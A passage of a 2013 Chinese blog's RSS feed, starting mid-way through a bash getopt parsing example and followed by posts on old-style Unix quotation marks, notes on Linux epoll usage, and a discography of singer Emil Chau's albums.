-b|--b-long) echo "Option b, argument \`$2'" ; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -c|--c-long)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # c has an optional argument. As we are in quoted mode,</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # an empty parameter will be generated if its optional</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # argument is not found.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case "$2" in</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "") echo "Option c, no argument"; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *) &nbsp;echo "Option c, argument \`$2'" ; shift 2 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; esac ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --) shift ; break ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *) echo "Internal error!" ; exit 1 ;;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; esac</div><div>done</div><div>echo "Remaining arguments:"</div><div>for arg do</div><div>&nbsp; &nbsp;echo '--&gt; '"\`$arg'" ;</div><div>done<br /><br />==================================================================================<br /><div>$ set -- a ' b '</div><div>$ echo $#</div><div>2</div><div>$ a="a ' b '"</div><div>$ set -- $a</div><div>$ echo $#</div><div>4</div><div>$ set -- "$a"</div><div>$ echo $#</div><div>1</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/401443.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-11 11:27 <a href="http://www.blogjava.net/bacoo/archive/2013/07/11/401443.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>`纪念这种old-style的quotation'</title><link>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 11 Jul 2013 03:09:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401441.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401441.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401441.html</trackback:ping><description><![CDATA[<div>在linux的很多文档中都看到`something'这种quote的用法，一直不知道为何，今天终于搞懂了，所以在这里纪念＋记录一下。'something'这种quote是undirected quotation, &#8216;something&#8217;是directional quotation，在old X下，不能很好的支持directional quotation，因此借用`something'能够显示出directional quotation的效果，但new X下，已经支持directional quotation，因此这些老的quotation记法就闲得很丑陋了，不过很多linux/unix的老文档年代久远，就一直沿用下来了。<br /></div><div>相关解释参见：http://www.cl.cam.ac.uk/~mgk25/ucs/quotes.html；</div><div>我是从http://www.trilithium.com/johan/2005/07/quotation-marks/找到上面那个解释的文章的；</div><div>我是通过google `bash grave accent apostrophe quote' 在第2页发现的上面那个博客的。</div><img src ="http://www.blogjava.net/bacoo/aggbug/401441.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-11 11:09 <a href="http://www.blogjava.net/bacoo/archive/2013/07/11/401441.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>epoll简单学习</title><link>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 04 Jul 2013 09:36:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/401219.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/401219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/401219.html</trackback:ping><description><![CDATA[<div>epoll的EPOLLIN和EPOLLOU为什么不能同时关联 &nbsp; &nbsp; &nbsp; &nbsp; http://laokaddk.blog.51cto.com/368606/791945</div><div>epoll使用总结 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http://laokaddk.blog.51cto.com/368606/617497</div><div>epoll学习：思考一种高性能的服务器处理框架 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; http://laokaddk.blog.51cto.com/368606/607231</div><div>epoll学习笔记 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http://laokaddk.blog.51cto.com/368606/607017</div><div></div><div>简单学习了一下epoll，之前也用过，这次又看了看，收获如下：</div><div>两种实现模式（在http://laokaddk.blog.51cto.com/368606/791945中都有提到）：同一个线程 和 不同线程；</div><div>顺便了解了一下惊群现象，如果用accept阻塞的方式就不存在惊群现象了，在不同线程中通过epoll_wait来出发accept行为的nginx的解决方法是通过进程里原子的修改寄存器a来做到进程间互斥的。</div><div>在不同线程模式下：listenfd需设置为非阻塞，注册EPOLLIN就可以了，触发时调用accept，有没有连接都会立刻返回；</div><div>在同一个线程模式下：listenfd为阻塞模式，不注册epoll，阻塞while调用accept即可；</div><div>ET触发只支持非阻塞模式，这里针对的fd是accept接收到的然后epoll_add了的那些fds，原因是：因为ET触发需要处理函数一直处理完所有in/out数据，比如read数据，如果read到的字节数小于预先准备读入的字节数，那么就可以认为读完了；如果是非阻塞模式，那么read会一直阻塞在那里。</div><div>epollfd不需要设置阻塞、非阻塞。</div><div>一般都用LT触发，不论哪种实现模式，EPOLLIN和EPOLLOUT都不同时设定，都是不断切换来做的。</div><div>客户端close掉socket时，会唤醒服务端epoll_wait;</div><div>对于epoll_wait而言，针对一个fd只存在唤醒与被唤醒，至于是EPOLLIN还是EPOLLOUT，取决于你当初epoll_add时的设定，因此如果你epoll_add时设定了EPOLLIN|EPOLLOUT，那么当EPOLLIN发生时（内核里当然是可以区分EPOLLIN和EPOLLOUT的），你收到的fd上的事件依然是EPOLLIN|EPOLLOUT。<br /><br /><div>http://my.oschina.net/costaxu/blog/127394</div><div>http://blog.csdn.net/guomsh/article/details/8484222</div><div>http://blog.csdn.net/guomsh/article/details/8478209</div><div>http://blog.csdn.net/ctthuangcheng/article/details/8596818</div><div>http://blog.yunn.io/archives/114/</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/401219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-07-04 17:36 <a href="http://www.blogjava.net/bacoo/archive/2013/07/04/401219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>华健，你永远的追随者</title><link>http://www.blogjava.net/bacoo/archive/2013/05/09/399063.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 09 May 2013 10:51:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2013/05/09/399063.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/399063.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2013/05/09/399063.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/399063.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/399063.html</trackback:ping><description><![CDATA[<div>今天对华健早期的专辑调研了半天，基本弄清楚了。</div><div>第一盘专辑《最后圆舞曲》，由皇星在1985年出版：http://blog.sina.com.cn/s/blog_4bbafd5001011yq2.html；</div><div>当时这张唱片的制作公司是&#8220;心声唱片&#8221;(sing song)，发行公司是&#8220;皇星唱片&#8221;(king star)。严格说来这张唱片并不能算是&#8220;出品&#8221;，根据华健的一些访谈了解到，在唱片发行之前，发行公司皇星唱片便倒闭了，所以这张《最后圆舞曲》并没有真正发行。</div><div>后在1987年再版：http://tieba.baidu.com/p/575579301，并在里面增加了《苹果派的滋味》、《Danny's Song》、《谁曾说过》、《愁》四首歌；</div><div>时间到了1993年，江苏省文化音像出版社录音发行总公司从心声唱片处得到了《最后圆舞曲》以及与《最后圆舞曲》同时期一些华健歌曲的版权，经过重新设计，推出了《最后圆舞曲》的引进版&#8212;&#8212;《永远陪伴你》。江苏省文化音像出版社录音发行总公司当时推出的是《永远陪伴你》的卡带。之后，中国唱片广州公司又从江苏省文化音像出版社录音发行总公司处得到了《永远陪伴你》的CD版发行权和黑胶唱片发行权，推出了CD版和黑胶版的《永远陪伴你》，这盘专辑去掉了《梦里的中国》三部曲，而且专辑中的歌曲名字和《最后圆舞曲》中的歌名基本都不一致，对应关系如下：</div><div>1.永远陪伴你（最后圆舞曲）</div><div>2.苦苦等待你（苹果派的滋味）</div><div>3.不愿再回首（蜕）</div><div>4.平凡的感觉（平凡的感觉）</div><div>5.在我胸中燃烧（钟声）</div><div>6.我曾经年少（短歌）</div><div>7.无言的声韵（夜深人静）</div><div>8.谁曾说过（谁曾说过）</div><div>9.Danny's Song（Danny's Song）</div><div>10.在梦里（愁）</div><div>11.雨中的温馨（雨中的温馨）</div><div>12.如今伴我只是一个结（结）</div><div>此外， 《苦苦等待你》、《Danny Sony 丹妮索妮》、《我多幸运》这三盘专辑和《永远陪伴你》是一样的，只不过专辑名字不一样，其中《Danny Sony 丹妮索妮》最为著名。</div><div></div><div>此后，华健加入了滚石唱片，发行唱片如下：</div><div>1987.07《心的方向》</div><div>1988.04《Sad Without You》</div><div>1988.10《我付出我的真爱 我实现我的梦》，《阳光游子》也是这盘专辑</div><div>1989.03《期待更多 付出更多》，《家和我一起成长》也是这盘专辑</div><div>1990.02《最真的梦》，《再爱我吧》也是这盘专辑</div><div>1990.12《不愿一个人》&nbsp;</div><div>1991.02《青鸟 Blue Bird》</div><div>1991.12《让我欢喜让我忧》</div><div>1992.05《I Remember》</div><div>1993.04《花心》</div><div>1993.08《Songs Of Birds》</div><div>1994.06《风雨无阻》</div><div>1994.10《有弦相聚》&nbsp;</div><div>1995.01《我愿意去等》</div><div>1995.07《爱相随》</div><div>1995.12《弦途有你》</div><div>1996.02《爱的光》</div><div>1996.05《弦弦全全》</div><div>1996.07《Forever Young》</div><div>1996.07《小天堂》</div><div>1996.12《生 生活》&nbsp;</div><div>1997.04《朋友》</div><div>1997.11《光阴似箭》&nbsp;</div><div>1997.12《世界由你我开始》</div><div>1998.08《有故事的人》</div><div>1999.02《My Oh My 至爱吾爱》</div><div>1999.05《人猿泰山》</div><div>1999.12《现在》&nbsp;</div><div>2001.10《忘忧草》</div><div>2003.07《一起吃苦的幸福》&nbsp;</div><div>2006.03《雨人》</div><div>2011.05《花旦》<br /><br />推荐一个链接，里面对华健专辑歌词整理得很不错：<a href="http://mojim.com/cnh100052.htm">http://mojim.com/cnh100052.htm</a><br />未完待续。<br />这是我收录的卡带：<br /><img src="http://www.blogjava.net/images/blogjava_net/bacoo/501072775.jpg" width="960" height="1280" alt="" /></div><img src ="http://www.blogjava.net/bacoo/aggbug/399063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2013-05-09 18:51 <a href="http://www.blogjava.net/bacoo/archive/2013/05/09/399063.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>